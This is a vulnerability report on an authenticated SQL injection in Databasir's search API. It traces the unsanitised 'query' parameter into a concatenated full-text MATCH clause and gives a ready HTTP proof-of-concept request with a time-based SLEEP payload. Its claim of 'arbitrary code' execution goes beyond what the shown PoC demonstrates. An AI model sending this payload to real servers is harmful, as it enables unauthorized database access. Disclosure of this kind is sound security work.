Product Overview
Databasir is an open-source, web-based database management and data visualization platform designed to simplify database exploration and collaboration. The project is hosted on GitHub and provides a modern interface for managing relational databases.
Databasir supports multiple database systems and offers features such as schema visualization, table browsing, SQL query execution, data editing, and permission management. It is designed to help teams understand database structures, document schemas, and perform data operations through a centralized web interface. The platform is commonly deployed in internal environments to improve database transparency and operational efficiency.
Vulnerability Description
An authenticated SQL Injection vulnerability in vran-dev databaseir v.1.0.7 and before allows a remote attacker to execute arbitrary code via the “query” parameter in the search API endpoint
Vulnerability Analysis
download the https://github.com/vran-dev/databasir code, Review the code is databasir/api/src/main/java/com/databasir/api/SearchController.java
step1 :the class SearchController is the socuce, with the query,

step 2:
the keyword use SearchService, find the SearchService.java
public SearchResponse search(Pageable pageable, String query)

step 3:
find the selectGroupPage, the dslContext.select is execute the sql with the user control the code is in the databasir/dao/src/main/java/com/databasir/dao/impl/DocumentFullTextDao.java
public Page<DocumentFullText> selectGroupPage(Pageable pageable, String keyword) {
String[] matchCols = Indexes.DOCUMENT_FULL_TEXT_FIDX_GROUP.getFields()
.stream()
.map(f -> f.getName())
.toArray(String[]::new);
String colSegment = String.join(",", matchCols);
String fullTextMatchSqlSegment = new StringBuilder(64)
.append("MATCH(").append(colSegment).append(") ")
.append("AGAINST('+").append(keyword).append("' IN BOOLEAN MODE)")
.toString();
// count
Integer total = dslContext.selectDistinct(DSL.count(DOCUMENT_FULL_TEXT.GROUP_ID))
.from(DOCUMENT_FULL_TEXT)
.where(DOCUMENT_FULL_TEXT.GROUP_ID.isNotNull()
.and(DOCUMENT_FULL_TEXT.PROJECT_ID.isNull())
.and(fullTextMatchSqlSegment))
.fetchOne(0, int.class);
// content
List<DocumentFullText> content = dslContext.select(DOCUMENT_FULL_TEXT.fields())
.from(DOCUMENT_FULL_TEXT)
.where(DOCUMENT_FULL_TEXT.GROUP_ID.isNotNull()
.and(DOCUMENT_FULL_TEXT.PROJECT_ID.isNull())
.and(fullTextMatchSqlSegment))
.limit(pageable.getOffset(), pageable.getPageSize())
.fetchInto(DocumentFullText.class);
return new PageImpl<>(content, pageable, total.longValue());
}
Proof of Concept (PoC)
GET /api/v1.0/search?query=')))+AND+(SELECT+2859+FROM+(SELECT(SLEEP(5)))HraM)%23 HTTP/1.1
Host: 127.0.0.1:9080
sec-ch-ua-platform: "Linux"
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJEYXRhYmFzaXIiLCJleHAiOjE3NjQ1ODA2ODUsInVzZXJuYW1lIjoiTi9BIn0.OHS6FZ10ym6iXDcXnxvzaH5_DU0FOa_Q7sHb06h9A3k
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9080/groups
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
POC delay 5s:
